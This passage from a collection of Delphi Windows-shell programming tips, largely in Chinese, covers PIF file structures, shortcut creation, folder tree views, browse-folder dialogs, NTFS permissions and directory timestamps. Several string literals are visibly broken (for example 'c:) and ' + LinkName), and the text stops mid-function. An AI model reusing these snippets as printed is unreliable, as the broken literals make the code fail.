{00004000h Use shortcut key}

{00008000h EMS memory is locked}

{00010000h XMS memory is locked}

{00020000h Use fast paste}

{00040000h Lock application memory}

{00080000h Memory protection}

{00100000h Minimized windows}

{00200000h Maximized windows}

{00800000h MS-DOS mode}

{01000000h Prevent Windows detection}

{04000000h Not auto offer transition in a MS_DOS mode}

{10000000h Not warn before transition in a MS_DOS mode}

Flags2: word; {0001h Video ROM emulation}

{default 0001Fh}

{0002h Do not check ports: text}

{0004h Do not check ports: low graphics}

{0008h Do not check ports: high graphics}

{0010h Video memory: text}

{0020h Video memory: low graphics}

{0040h Video memory: high graphics}

{0080h Retain video memory}

ScanCode: word; {Scan code of a shortcut key}

Modifier: word; {0003h Shortcut key modifier: Shift}

{0004h Shortcut key modifier: Ctrl}

{0008h Shortcut key modifier: Alt}

Shortcut: word; {000Fh Use shortcut key}

Extended: word; {0001h The shortcut key scan code is extended}

Unknown1: word; {0000h, 0064h in Windows NT}

Unknown2: word; {0000h, 0032h in Windows NT}

Unknown3: array[1..6] of byte;

Params: array[0..63] of char; {Parameters string}

end;

windows_vmm_section_type = packed record

Unknown: array[1..88] of byte;

IconFile: array[0..79] of char; {Name of the file containing an icon}

IconNo: word; {Number of an icon}

Flags1: word; {0002h Continue run in background mode}

{0010h Not warn on exit}

{0020h Disallow Screen Saver}

Unknown2: array[1..10] of byte;

Priority: word; {0032h}

Flags2: word; {0001h Video-ROM emulation}

{0080h Do not dynamically allocate video memory}

{0100h Full-screen mode}

Unknown3: array[1..8] of byte;

NoLines: word; {Number of text lines in a window}

Flags3: word; {0001h Fast paste}

{0020h Not use Alt+Tab}

{0040h Not use Alt+Esc}

{0080h Not use Alt+Space}

{0100h Not use Alt+Enter}

{0200h Not use Alt+PrtSc}

{0400h Not use PrtSc}

{0800h Not use Ctrl+Esc}

Unknown4: array[1..16] of byte;

Flags4: word; {0001h Not use the mouse for selection}

{0002h Exclusive use of the mouse}

Unknown5: array[1..6] of byte;

Flags5: word; {0004h Use raster fonts}

{0008h Use TrueType fonts}

{0010h Automatically choose the font size}

{0400h The current font is raster}

{0800h The current font is TruType}

Unknown6: array[1..2] of byte;

rHorSize: word; {Horizontal size of the current raster font}

rVertSize: word; {Vertical size of the current raster font}

HorSize: word; {Horizontal size of the current font}

VertSize: word; {Vertical size of the current font}

rFontName: array[0..31] of char; {The name of a raster font}

FontName: array[0..31] of char; {The name of a TrueType font}

Unknown7: array[1..2] of byte; {04e3h in Windows NT/2000}

Flags6: word; {0001h Unknown}

{0002h Show toolbar}

Flags7: word; {0001h Not restore settings at startup}

Cols: word;

Rows: word;

ClientHorSize: word;

ClientVertSize: word;

WindowHorSize: word;

WindowVertSize: word;

Unknown8: array[1..2] of byte; {0016h}

Flags8: word; {0002h At last start the windows was maximized}

Flags9: word; {0001h At last start the windows was of the normal size}

{0002h At last start the windows was minimized}

{0003h At last start the windows was maximized}

Unknown9: array[1..4] of byte; {FFFFFFFFh}

Right: word; {The right window border position in maximized window}

Bottom: word; {The bottom window border position in maximized window}

Left: word; {The left window border position in maximized window}

Top: word; {The top window border position in maximized window}

nRight: word; {The right window border position in normal window}

nBottom: word; {The bottom window border position in normal window}

Unknown10: array[1..4] of byte; {00000000h}

BatFile: array[0..79] of char;

EnvMem: word; {Memory amount for environment}

DPMIMem: word; {Volume of memory DPMI}

Unknown11: word; {0001h}

end;

windows_vmm_section_ref_type = ^windows_vmm_section_type;

{Ralf Brown interrupt list 6.1}

{Sergey Merzlikin: smsoft@chat.ru}

pif_record_type = packed record

Reserved: byte;

CheckSum: byte; {of bytes 02h through 170h; default=78h}

Title: array[1..30] of char; {blank-padded window title}

MaxMem: word; {maximum memory to allocate to partition in KB}

{0280h in 32-bit OS, 0080h in Windows 3.x}

MinMem: word; {minimum memory required in KB}

FileName: array[0..62 {!}] of char; {ASCIZ program filename w/o params}

Flags1: word; {0001h Directly modify memory}

{0002h Graphics/Multiple text}

{0004h Prevent program switch}

{0008h No screen exchange}

{0010h Close windows on exit}

{0040h Direct interact with COM1}

{0080h Direct interact with COM2}

DefDir: array[0..63] of char; {ASCIZ default directory name}

Params: array[0..63] of char; {ASCIZ program parameters}

VideoMode: byte; {initial video mode (also see offset 189h)}

{ 00h in 32-bit OS, 7Fh in others }

NoTextPg: byte; {number of text pages allocated}

FirstIntr: byte; {number of first interrupt to save}

LastIntr: byte; {number of last interrupt to save}

NRows: byte; {rows in virtual screen buffer}

NCols: byte; {columns in virtual screen buffer}

InitRow: byte; {initial window position, row}

InitCol: byte; {initial window position, column}

Flags2: word; {0007h No of last text video page}

{0010h Graphics/Multiple text mode}

SharedName: array[0..63] of char; {ASCIZ shared program name}

SharedData: array[0..63] of char; {ASCIZ shared program data file}

Flags3: word; {0010h Direct interaction with the keyboard}

{0020h Use coprocessor }

{0040h Stop in backgroud mode}

{0080h Directly modify screen}

{2000h Exchange interrupt vectors}

{4000h There are parameters in the cmnd line}

BasicHeading: section_heading_record_type;

FirstHeading: section_heading_record_type;

{019Dh First section }

{ Heading of the second section}

{ Second section }

{ ... }

{ Heading of the last section }

{ Last section }

end;

pif_record_ref_type = ^pif_record_type;

const

VIDEO_ROM_EMULATION = $0001;

DYN_ALLOC_VIDEO_MEM = $0080;

FULL_SCREEN_MODE = $0100;

CLOSE_ON_EXIT = $0010;

procedure CreateShortcut(const FileName: string; Location: ShortcutType);

{ proc to create a shortcut on the desktop or startmenu }

var

MyObject: IUnknown;

MySLink: IShellLink;

MyPFile: IPersistFile;

Directory: string;

LinkName: string;

IconName: string;

DirName: string;

pifName: WideString;

WFileName: WideString;

QuickLaunchReg: TRegIniFile;

aPidl: PItemIDList;

Res: HResult;

Buf: PByteArray;

PPif: pif_record_ref_type absolute Buf;

Flag: boolean;

i, j: integer;

n: longint;

PHeading: section_heading_record_ref_type;

PVMMSection: windows_vmm_section_ref_type;

PW386Section: ^windows_386_section_type;

f: file;

begin

MyObject := CreateComObject(CLSID_ShellLink);

MySLink := MyObject as IShellLink;

MyPFile := MyObject as IPersistFile;

MySLink.SetPath(PChar(FileName));

LinkName := ChangeFileExt(FileName, '.lnk');

LinkName := ExtractFileName(LinkName);

case Location of

_DESKTOP: Res := SHGetSpecialFolderLocation(

Application.Handle, CSIDL_DESKTOPDIRECTORY, aPidl);

_STARTMENU: Res := SHGetSpecialFolderLocation(

Application.Handle, CSIDL_STARTMENU, aPidl);

_SENDTO: Res := SHGetSpecialFolderLocation(

Application.Handle, CSIDL_SENDTO, aPidl);

_QUICKLAUNCH: Res := 0;

end; { Location }

if Res <> NOERROR then

begin

case Location of

_DESKTOP: Directory := 'ShellFolders->Desktop';

_STARTMENU: Directory := 'ShellFolders->Start Menu';

_SENDTO: Directory := 'ShellFolders->SendTo';

_QUICKLAUNCH: Directory := 'MapGroups->Quick Launch';

end; { Location }

ShowMessage(Directory + ': Failed');

end { '' }

else

begin

// Get the actual path from the PItemIDList

SetLength(Directory, MAX_PATH);

SHGetPathFromIDList(aPidl, PChar(Directory));

SetLength(Directory, StrLen(PChar(Directory)));

(*****)

WFileName := Directory + ' + LinkName;

if (Location = _DESKTOP) and (LinkName = 'PAULITA.lnk') then

begin

pifName := ExtractFilePath(FileName);

Res := MyPFile.Load(PWChar(pifName +

'SYS.pif'), 0);

if Res = E_OUTOFMEMORY then

ShowMessage('.PIF LOAD: Out of Memory')

else if Res = E_FAIL then

ShowMessage('.PIF LOAD: Failed');

IconName := pifName + 'SYS.ICO';

Res := MySLink.SetIconLocation(PChar(IconName), 0);

if Res <> NOERROR then

ShowMessage('SetIconLocation: Failed');

end; { PauLita }

MySLink.SetPath(PChar(FileName));

DirName := ExtractFilePath(FileName);

DirName := Copy(DirName, 1, Length(DirName) - 1);

MySLink.SetWorkingDirectory(PChar(DirName));

Res := MyPFile.Save(PWChar(WFileName), FALSE);

if Res <> S_OK then

ShowMessage('Save ' + WFileName + ' Failed');

{-----------}

if (Location = _DESKTOP) and (LinkName = 'PAULITA.lnk') then

begin

Buf := nil;

Assign(f, Directory + '.PIF');

try

Reset(f, 1);

n := FileSize(f);

GetMem(Buf, n);

BlockRead(f, Buf^, n);

PW386Section := nil;

Flag := FALSE;

i := $187;

while i + SizeOf(section_heading_record_type) <= n do

begin

PHeading := @Buf^[i];

{ShowMessage( PHeading^.Name );}

{-Look for WINDOWS 386 3.0 group-}

if StrPas(@PHeading^.Name) = 'WINDOWS 386 3.0' then

begin

PW386Section := @Buf^[i +

SizeOf(section_heading_record_type)];

end;

{-Look for WINDOWS VMM 4.0 group-}

if StrPas(@PHeading^.Name) = 'WINDOWS VMM 4.0' then

begin

Flag := TRUE;

Break;

end;

i := i + SizeOf(section_heading_record_type) +

PHeading^.Len;

end; { <=n }

if not Flag then

begin

ShowMessage('WINDOWS VMM 4.0 not Found in

'+Directory + ' .PIF' );

end

else

begin

Flag := FALSE;

if (PPif^.Flags1 and CLOSE_ON_EXIT) = $0000 then

begin

PPif^.Flags1 := PPif^.Flags1 or CLOSE_ON_EXIT;

Flag := TRUE;

end;

j := Pos('PAULITA.EXE', PPif^.FileName);

if j > 0 then

begin

StrPCopy(PPif^.FileName, Copy(

StrPas(@PPif^.FileName), 1, j - 1) + 'LITA.BAT'#0);

Flag := TRUE;

end;

if PW386Section <> nil then

begin

if (PW386Section^.Flags1 and $00000008) = $0000 then

begin

{Used} PW386Section^.Flags1 := PW386Section^.Flags1

or $00000008; {Full screen mode}

Flag := TRUE;

end;

if (PW386Section^.MaxEMS <> $FFFF) or

(PW386Section^.ReqEMS <> $0000)

or (PW386Section^.MaxXMS <> $FFFF) or

(PW386Section^.ReqXMS <> $0000) then

begin

PW386Section^.MaxEMS := $FFFF;

PW386Section^.ReqEMS := $0000;

PW386Section^.MaxXMS := $FFFF;

PW386Section^.ReqXMS := $0000;

Flag := TRUE;

end;

end; { <>NIL }

PVMMSection := @Buf^[i +

SizeOf(section_heading_record_type)];

if (PVMMSection^.Flags2 and FULL_SCREEN_MODE) =

$0000 then

begin

{Not used} PVMMSection^.Flags2 := PVMMSection^.Flags2 or

FULL_SCREEN_MODE;

Flag := TRUE;

end;

if Flag then

begin

Seek(f, 0);

BlockWrite(f, Buf^, n);

end; { Flag }

end; { Flag }

finally

Close(f);

if Buf <> nil then

FreeMem(Buf, n);

end;

end; { PauLita }

{--}

end; { Directory<>'' }

end; { CreateShortcut }


得到“桌面”及其下的子目录
《电脑编程技巧与维护》2000年第二期中的一篇文章，希望对你有帮助。

用Delphi实现Windows文件夹管理树............................ 李鹏 薛志东（2.29）

以下：

unit BrowseTreeView;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ShlObj,ComCtrls;

type

PTreeViewItem=^TTreeViewItem;

TTreeViewItem=record

ParentFolder:IShellFolder;

//节点对应的文件夹的父文件夹的IShellFolder接口

Pidl,FullPidl:PItemIDList;

//节点对应的文件夹的相对和绝对项目标识符列表

HasExpanded:Boolean;//节点是否展开

end;

TForm1 = class(TForm)

TreeView1: TTreeView;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure TreeView1Expanding(Sender: TObject; Node: TTreeNode;

var AllowExpansion: Boolean);

private

{ Private declarations }

FItemList:TList;

procedure SetTreeViewImageList;

procedure FillTreeView(Folder:IShellFolder;FullPIDL:PItemIDList;ParentNode:TTreeNode);

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

uses

ActiveX,ComObj,ShellAPI,CommCtrl;

//以下是几个对项目标识符进行操作的函数

procedure DisposePIDL(ID:PItemIDList);

var

Malloc:IMalloc;

begin

if ID= nil then Exit;

OLECheck(SHGetMalloc(Malloc));

Malloc.Free(ID);

end;

function CopyItemID(ID:PItemIDList):PItemIDList;

var

Malloc:IMalloc;

begin

Result:=nil;

OLECheck(SHGetMalloc(Malloc));

if Assigned(ID) then

begin

Result:=Malloc.Alloc(ID^.mkid.cb+sizeof(ID^.mkid.cb));

CopyMemory(Result,ID,ID^.mkid.cb+sizeof(ID^.mkid.cb));

end;

end;

function NextPIDL(ID:PItemIDList):PItemIDList;

begin

result:=id;

Inc(PChar(result),id^.mkid.cb);

end;

function GetPIDLSize(ID:PItemIDList):Integer;

begin

result:=0;

if Assigned(ID) then

begin

result:=sizeof(ID^.mkid.cb);

while ID^.mkid.cb <> 0 do

begin

Inc(result,ID^.mkid.cb);

ID:=NextPIDL(ID);

end;

end;

end;

function CreatePIDL(Size:Integer):PItemIDList;

var

Malloc:IMalloc;

HR:HResult;

begin

result:=nil;

HR:=SHGetMalloc(Malloc);

if Failed(HR) then Exit;

try

Result:=Malloc.Alloc(Size);

if Assigned(Result) then

FillChar(Result^,Size,0);

finally

end;

end;

function ConcatPIDLs(ID1,ID2:PItemIDList):PItemIDList;

var

cb1,cb2:Integer;

begin

if Assigned(ID1) then

cb1:=GetPIDLSize(ID1)-sizeof(ID1^.mkid.cb )

else

cb1:=0;

cb2:=GetPIDLSize(ID2);

result:=CreatePIDL(cb1+cb2);

if Assigned(Result) then

begin

if Assigned(ID1) then

CopyMemory(Result,ID1,cb1);

CopyMemory(PChar(Result)+cb1,ID2,cb2);

end;

end;

//将二进制表示的项目标识符列表转换成有可识的项目名

function GetDisplayName(Folder:IShellFolder;PIDL:PItemIDList;ForParsing:Boolean):String;

var

StrRet:TStrRet;

P:PChar;

Flags:Integer;

begin

result:='';

if ForParsing then

Flags:=SHGDN_FORPARSING

else

Flags:=SHGDN_NORMAL;

Folder.GetDisplayNameOf(pidl,flags,StrRet);

case StrRet.uType of

STRRET_CSTR:

SetString(Result,StrRet.cStr,StrLen(StrRet.cStr));

STRRET_OFFSET:

begin

P:=@PIDL.mkid.abID[StrRet.uOffset-sizeof(PIDL.mkid.cb)];

SetString(Result,P,PIDL.mkid.cb-StrRet.UOffset);

end;

end;

end;

function GetIcon(PIDL:PItemIDList;Open:Boolean):Integer;

const

IconFlag=SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_SMALLICON;

var

FileInfo:TSHFileInfo;

Flags:Integer;

begin

if Open then

Flags:=IconFlag or SHGFI_OPENICON

else

Flags:=IconFlag;

SHGetFileInfo(PChar(PIDL),0,FileInfo,sizeof(TSHFileInfo),Flags);

result:=FileInfo.iIcon;

end;

//获得每个文件夹在系统中的图标

procedure GetItemIcons(FullPIDL:PItemIDList;TreeNode:TTreeNode);

begin

with TreeNode do

begin

ImageIndex:=GetIcon(FullPIDL,False);

SelectedIndex:=GetIcon(FullPIDL,True);

end;

end;

//获得系统的图标列表

procedure TForm1.SetTreeViewImageList;

var

imagelist:thandle;

fileinfo:tshfileinfo;

begin

imagelist:=shgetfileinfo(Pchar('c:),0,fileinfo,sizeof(tshfileinfo),shgfi_sysiconindex or shgfi_smallicon);

if imagelist<>0 then

treeview_setimagelist(treeview1.handle,imagelist,0);

end;

//生成文件夹管理树

procedure TForm1.FillTreeView(Folder:IShellFolder;FullPIDL:PItemIDList;ParentNode:TTreeNode);

var

TreeViewItem:PTreeViewItem;

EnumIDList:IEnumIDList;

PIDLs,FullItemPIDL:PItemIDList;

NumID:LongWord;

ChildNode:TTreeNode;

Attr:Cardinal;

begin

try

OLECheck(Folder.EnumObjects(Handle,SHCONTF_FOLDERS,EnumIDList));

while EnumIDList.Next(1,PIDls,NumID)=S_OK do

begin

FullItemPIDL:=ConcatPIDLs(FullPIDL,PIDLs);

TreeViewItem:=New(PTreeViewItem);

TreeViewItem.ParentFolder:=Folder;

TreeViewItem.Pidl:=CopyItemID(PIDLs);

TreeViewItem.FullPidl:=FullItemPIDL;

TreeViewItem.HasExpanded:=False;

FItemList.Add(TreeViewItem);

ChildNode:=TreeView1.Items.AddChildObject(ParentNode,GetDisplayName(Folder,PIDLs,False),TreeViewItem);

GetItemIcons(FullItemPIDL,ChildNode);

Attr:=SFGAO_HASSUBFOLDER or SFGAO_FOLDER;

Folder.GetAttributesOf (1,PIDLs,Attr);

if Bool(Attr and(SFGAO_HASSUBFOLDER or SFGAO_FOLDER)) then

if Bool(Attr and SFGAO_FOLDER) then

if Bool(Attr and SFGAO_HASSUBFOLDER) then

ChildNode.HasChildren:=True;

end;

except

// 你可在此处对异常进行处理

end;

end;

procedure TForm1.FormDestroy(Sender: TObject);

var

I:Integer;

begin

try

for I:=0 to FItemList.Count-1 do

begin

DisposePIDL(PTreeViewItem(FItemList[i]).PIDL);

DisposePIDL(PTreeViewItem(FItemList[i]).FullPIDL);

end;

FItemList.Clear;

FItemList.Free;

except

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

var

Folder:IshellFolder;

begin

SetTreeViewImageList;

OLECheck(ShGetDesktopFolder(Folder));

FItemList:=Tlist.Create;

FillTreeView(folder,nil,nil);

end;

procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;

var AllowExpansion: Boolean);

var

tVItem:PTreeViewItem;

SHFolder:IShellFolder;

begin

TVItem:=PTreeViewItem(Node.Data);

if TVItem.HasExpanded then Exit;

OLECheck(TVItem.ParentFolder.BindToObject(TVItem^.Pidl,Nil,IID_IShellFolder,Pointer(SHFolder)));

FillTreeView(SHFolder,TVItem^.FullPidl,Node);

Node.AlphaSort;

TVItem^.HasExpanded:=True;

end;

end.


NT 下文件和目录的权限设置
SetFileSecurity(Win32 API)来设置NTFS上的

文件和目录的权限

用法如下:

BOOL SetFileSecurity(LPCTSTR lpFileName, // address of string for filename

SECURITY_INFORMATION SecurityInformation, // type of information to set

PSECURITY_DESCRIPTOR pSecurityDescriptor // address of security descriptor

);

SECURITY_INFORMATION用于指示下面一个参数的类型, 它可以取如下的值:

OWNER_SECURITY_INFORMATION

文件和目录的所有者信息

GROUP_SECURITY_INFORMATION

主组信息

DACL_SECURITY_INFORMATION

自由的访问控制列表(ACL)信息

SACL_SECURITY_INFORMATION

系统的访问控制列表(ACL)信息

请您参考下列API函数和数据结构以获得设置权限的进一步的信息:

ACL (DataStructure, Access Control List)

Get/SetSecurityDescriptorDacl

Get/SetSecurityDescriptorGroup

Get/SetSecurityDescriptorOwner

Get/SetSecurityDescriptorSacl


如何指定SelectDirectory的起始目录
下面的例子是正确的，但是为什么在Callback里面，必须采用全局变量，只要采用局部变量就会出现错误？我始终无法理解，难道是内存分配的原因？只要在Callback里面分配内存，就会出现错误！不过那个Longint(pchar(path))可以用一个integer(pchar('D:'))常量来代替，却又是正确的！真的很奇怪。我用HeapAlloc来分配内存也无法达到全局变量的效果。

unit Unit1;

interface

uses

    shlobj,ActiveX;

var

     Form1: TForm1;

     Path: string; 　　//起始路径

implementation

{$R *.DFM}

function BrowseCallbackProc(hwnd: HWND;uMsg: UINT;lParam: Cardinal;lpData: Cardinal): integer; stdcall;

begin

    if uMsg=BFFM_INITIALIZED then

        result :=SendMessage(Hwnd,BFFM_SETSELECTION,Ord(TRUE),Longint(PChar(Path)))

    else

        result :=1

end;

function SelDir(const Caption: string; const Root: WideString; out Directory: string): Boolean;

var

    WindowList: Pointer;

    BrowseInfo: TBrowseInfo;

    Buffer: PChar;

    RootItemIDList, ItemIDList: PItemIDList;

    ShellMalloc: IMalloc;

    IDesktopFolder: IShellFolder;

    Eaten, Flags: LongWord;

begin

    Result := False;

    Directory := '';

    FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);

    if (ShGetMalloc(ShellMalloc) = S_OK) and (ShellMalloc <> nil) then

    begin

        Buffer := ShellMalloc.Alloc(MAX_PATH);

        try

            RootItemIDList := nil;

            if Root <> '' then begin

                SHGetDesktopFolder(IDesktopFolder);

                IDesktopFolder.ParseDisplayName(Application.Handle, nil, POleStr(Root), Eaten, 　　　　　　　　　　RootItemIDList, Flags);

            end;

            with BrowseInfo do begin

                hwndOwner := Application.Handle;

                pidlRoot := RootItemIDList;

                pszDisplayName := Buffer;

                lpszTitle := PChar(Caption);

                ulFlags := BIF_RETURNONLYFSDIRS;

                lpfn :=@BrowseCallbackProc;

                lParam :=BFFM_INITIALIZED;

            end;

            WindowList := DisableTaskWindows(0);

            try

                ItemIDList := ShBrowseForFolder(BrowseInfo);

            finally

                EnableTaskWindows(WindowList);

            end;

            Result := ItemIDList <> nil;

            if Result then begin

                ShGetPathFromIDList(ItemIDList, Buffer);

                ShellMalloc.Free(ItemIDList);

                Directory := Buffer;

            end;

        finally

            ShellMalloc.Free(Buffer);

        end;

    end;

end;

procedure TForm1.SpeedButton1Click(Sender: TObject);

var

    Path1: string;

begin

    Path :=Edit1.Text;

    SelDir('SelectDirectory Sample','d:',Path1);

    Edit1.Text :=Path1

end;

end.

2002.11.14:

今天终于解决了设置初始目录必须使用全局变量的问题！高兴哪！这样可以有一个极其好用的SelectDirectory函数了！可以指定Root目录，还可以设定初始化目录！！！！原来，在CallBack里面，那个lParam参数是可以传递数据的，而MSDN中说INIT消息的时候，lParam是0，是错误的，而且MSDN中关于wParam的说法是自相矛盾的！奇怪。

下面的函数可以指定初始化目录，只要在调用之前，赋值给Path参数即可。

uses ShlObj, ActiveX;

{*****************************************************}

{ The SelectDirectoryEx function like SelectDirectory }

{ But you can specify the Init Dir }

{ hOwn:Parent Window Handle }

{ Path:In and Out,In-->Init Dir }

{ Caption:Hint text }

{ Root:Root Dir }

{ uFlag:Which Style you want to use,like }

{ BIF_RETURNONLYFSDIRS or BIF_VALIDATE }

{ Please see Win32SDK for more detial }

{*****************************************************}

function SelectDirectoryEx(hOwn: HWND; var Path: string; Caption, Root: string; uFlag: DWORD = $25): Boolean;

const

BIF_NEWDIALOGSTYLE = $0040;

var

BrowseInfo: TBrowseInfo;

Buffer: PChar;

RootItemIDList, ItemIDList: PItemIDList;

ShellMalloc: IMalloc;

IDesktopFolder: IShellFolder;

Dummy: LongWord;

function BrowseCallbackProc(hwnd: HWND; uMsg: UINT; lParam: Cardinal; lpData: Cardinal): integer; stdcall;

var

PathName: array[0..MAX_PATH] of char;

begin

case uMsg of

BFFM_INITIALIZED:

SendMessage(Hwnd, BFFM_SETSELECTION, Ord(True), Integer(lpData));

BFFM_SELCHANGED:

begin

SHGetPathFromIDList(PItemIDList(lParam), @PathName);

SendMessage(hwnd, BFFM_SETSTATUSTEXT, 0, LongInt(PChar(@PathName)));

end;

end;

Result := 0;

end;

begin

Result := False;

FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);

if (ShGetMalloc(ShellMalloc) = S_OK) and (ShellMalloc <> nil) then

begin

Buffer := ShellMalloc.Alloc(MAX_PATH);

try

RootItemIDList := nil;

if Root <> '' then begin

SHGetDesktopFolder(IDesktopFolder);

IDesktopFolder.ParseDisplayName(hOwn, nil, POleStr(WideString(Root)), Dummy, RootItemIDList, Dummy);

end;

with BrowseInfo do begin

hwndOwner := hOwn;

pidlRoot := RootItemIDList;

pszDisplayName := Buffer;

lpszTitle := PChar(Caption);

ulFlags := uFlag;

lpfn := @BrowseCallbackProc;

lParam := Integer(Pchar(Path));

end;

ItemIDList := ShBrowseForFolder(BrowseInfo);

Result := ItemIDList <> nil;

if Result then

begin

ShGetPathFromIDList(ItemIDList, Buffer);

ShellMalloc.Free(ItemIDList);

Path := StrPas(Buffer);

end;

finally

ShellMalloc.Free(Buffer);

end;

end;

end;

procedure TForm1.SpeedButton1Click(Sender: TObject);

var

Path: string;

begin

Path := 'C:';

if SelectDirectoryEx(Handle, Path, 'Select Directory Sample', 'C:) then

ShowMessage(Path);

end;

*************************

function SelectDirectoryEx(const Caption: string; const Root: string;

out Directory: string; AX, AY: Integer): Boolean;

implementation

uses Math, ShlObj, ActiveX;

function SelectDirectoryEx(const Caption: string; const Root: string;

out Directory: string; AX, AY: Integer): Boolean;

type

PBFFRecord = ^TBFFRecord;

TBFFRecord = record

InitDir: PChar;

X: Integer;

Y: Integer;

end;

var

BFFR:TBFFRecord;

IDList: PItemIDList;

BrowseInfo: TBrowseInfo;

Malloc:IMalloc;

WindowList: Pointer;

Buffer: PChar;

function BrowseFolderProc(hWindow: HWND; uMsg: UINT; lParam: LPARAM;

lpData: LPARAM): Integer; stdcall;

var

PathName: array[0..MAX_PATH] of Char;

PBFFR:PBFFRecord;

r: TRect;

x, y, cx, cy, w, h: Integer;

begin

case uMsg of

BFFM_INITIALIZED:

begin

PBFFR := Pointer(lpData);

if lstrlen(PBFFR^.InitDir) > 1 then

SendMessage(hWindow,BFFM_SETSELECTION, 1, Integer(PBFFR^.InitDir));

cx := GetSystemMetrics(SM_CXSCREEN);

cy := GetSystemMetrics(SM_CYSCREEN);

GetWindowRect(hWindow, r);

w := r.Right - r.Left;

h := r.Bottom - r.Top;

x := PBFFR^.X;

y := PBFFR^.Y;

if (x = 0) or (y = 0) then

begin

x := (cx - w) div 2;

y := (cy - h) div 2;

end;

x := Max(Min(x, cx - w), 0);

y := Max(Min(y, cy - h), 0);

SetWindowPos(hWindow, 0, x, y, 0, 0, SWP_NOSIZE or SWP_NOZORDER);

end;

BFFM_SELCHANGED:

begin

SHGetPathFromIDList(PItemIDList(lParam), @PathName);

SendMessage(hWindow, BFFM_SETSTATUSTEXT, 0, LongInt(PChar(@PathName)));

end;

end;

Result := 0;

end;

begin

Result := False;

Directory := '';

BFFR.InitDir := PChar(Root);

BFFR.X := AX;

BFFR.Y := AY;

FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);

if (ShGetMalloc(Malloc) = S_OK) and (Malloc <> nil) then

begin

Buffer := Malloc.Alloc(MAX_PATH);

try

with BrowseInfo do

begin

hwndOwner := Application.Handle;

pidlRoot := nil;

pszDisplayName := Buffer;

lpszTitle := PChar(Caption);

ulFlags := BIF_STATUSTEXT or BIF_RETURNONLYFSDIRS;

lpfn := @BrowseFolderProc;

lParam := Integer(@BFFR);

end;

WindowList := DisableTaskWindows(0);

try

IDList := ShBrowseForFolder(BrowseInfo);

finally

EnableTaskWindows(WindowList);

end;

Result := IDList <> nil;

if Result then

begin

ShGetPathFromIDList(IDList, Buffer);

Malloc.Free(IDList);

Directory := Buffer;

end;

finally

Malloc.Free(Buffer);

end;

end;

end;

---------------------------------------

{******************************************************************}

{

Heres an example on how to locate a folder with a specific filer,

using SHBrowseForFolder and a BrowseCallBack function

( by Jack Kallestrup )

}

uses ShlObj, ShellApi;

function BrowseCallBack ( Hwnd : THandle; uMsg : UINT; lpParam, lpData : LPARAM): integer; stdcall;

var

Buffer : Array[0..255] of char;

Buffer2 : Array[0..255] of char;

TmpStr : String;

begin

// Initialize buffers

FillChar(Buffer,SizeOf(Buffer),#0);

FillChar(Buffer2,SizeOf(Buffer2),#0);

// Statusline text

TmpStr := 'Locate folder containing '+StrPas(PChar(lpData));

// Copy statustext to pchar

StrPCopy(Buffer2,TmpStr);

// Send message to BrowseForDlg that

// the status text has changed

SendMessage(hwnd,BFFM_SETSTATUSTEXT,0,Integer(@Buffer2));

// If directory in BrowswForDlg has changed ?

if uMsg = BFFM_SELCHANGED then begin

// Get the new folder name

SHGetPathFromIDList(PItemIDList(lpParam),Buffer);

// And check for existens of our file.

{$IFDEF RX_D3} //RxLib - extentions

if FileExists(NormalDir(StrPas(Buffer))+StrPas(PChar(lpData)))

and (StrLen(Buffer) > 0) then

{$ELSE}

if Length(StrPas(Buffer)) <> 0 then

if Buffer[Length(StrPas(Buffer))-1] = ' then

Buffer[Length(StrPas(Buffer))-1] := #0;

if FileExists(StrPas(Buffer)+'+StrPas(PChar(lpData))) and

(StrLen(Buffer) > 0) then

{$ENDIF}

// found : Send message to enable OK-button

SendMessage(hwnd,BFFM_ENABLEOK,1,1)

else

// Send message to disable OK-Button

SendMessage(Hwnd,BFFM_ENABLEOK,0,0);

end;

result := 0

end;

function BrowseforFile(Handle : THandle; Title : String; Filename : String) : String;

var

BrowseInfo : TBrowseInfo;

RetBuffer,

FName,

ResultBuffer : Array[0..255] of char;

PIDL : PItemIDList;

begin

StrPCopy(Fname,FileName);

//Initialize buffers

FillChar(BrowseInfo,SizeOf(TBrowseInfo),#0);

Fillchar(RetBuffer,SizeOf(RetBuffer),#0);

FillChar(ResultBuffer,SizeOf(ResultBuffer),#0);

BrowseInfo.hwndOwner := Handle;

BrowseInfo.pszDisplayName := @Retbuffer;

BrowseInfo.lpszTitle := @Title[1];

// we want a status-text

BrowseInfo.ulFlags := BIF_StatusText;

// Our call-back function cheching for fileexist

BrowseInfo.lpfn := @BrowseCallBack;

BrowseInfo.lParam := Integer(@FName);

// Show BrowseForDlg

PIDL := SHBrowseForFolder(BrowseInfo);

// Return fullpath to file

if SHGetPathFromIDList(PIDL,ResultBuffer) then

result := StrPas(ResultBuffer)

else

Result := '';

GlobalFreePtr(PIDL); //Clean up

end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);

const

FileName = 'File.xyz';

var

Answer: Integer;

begin

if MessageBox(0, 'To locate the file yourself, click ok',

PChar(Format('File %s not found.',[FileName])),MB_OKCANCEL) = 1 then

BrowseforFile(Handle, 'locate ' + FileName, FileName);

end;


如何修改目录建立时间
使用CreateFile打开目录时，一般只能指定为GENERIC_READ,不能为GENERIC_WRITE。不过在NT下，可以在Flag中加入FILE_FLAG_BACKUP_SEMANTICS标志，就可以以写模式打开目录，从而可以修改目录的时间属性。

hFile := CreateFile(PChar(FileName),

GENERIC_READ or GENERIC_Write,

FILE_SHARE_READ or FILE_SHARE_Write,

nil,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL or FILE_FLAG_BACKUP_SEMANTICS,

0);

************************

{ Sets the time for both files and directories }

{ for NT }

function NT_SetDateTime(FileName: string; dtCreation, dtLastAccessTime, dtLastWriteTime: TDateTime): Boolean;

// by Nicholas Robinson

var

hDir: THandle;

ftCreation: TFiletime;

ftLastAccessTime: TFiletime;

ftLastWriteTime: TFiletime;

function DTtoFT(dt: TDateTime): TFiletime;

var

dwft: DWORD;

ft: TFiletime;

begin

dwft := DateTimeToFileDate(dt);

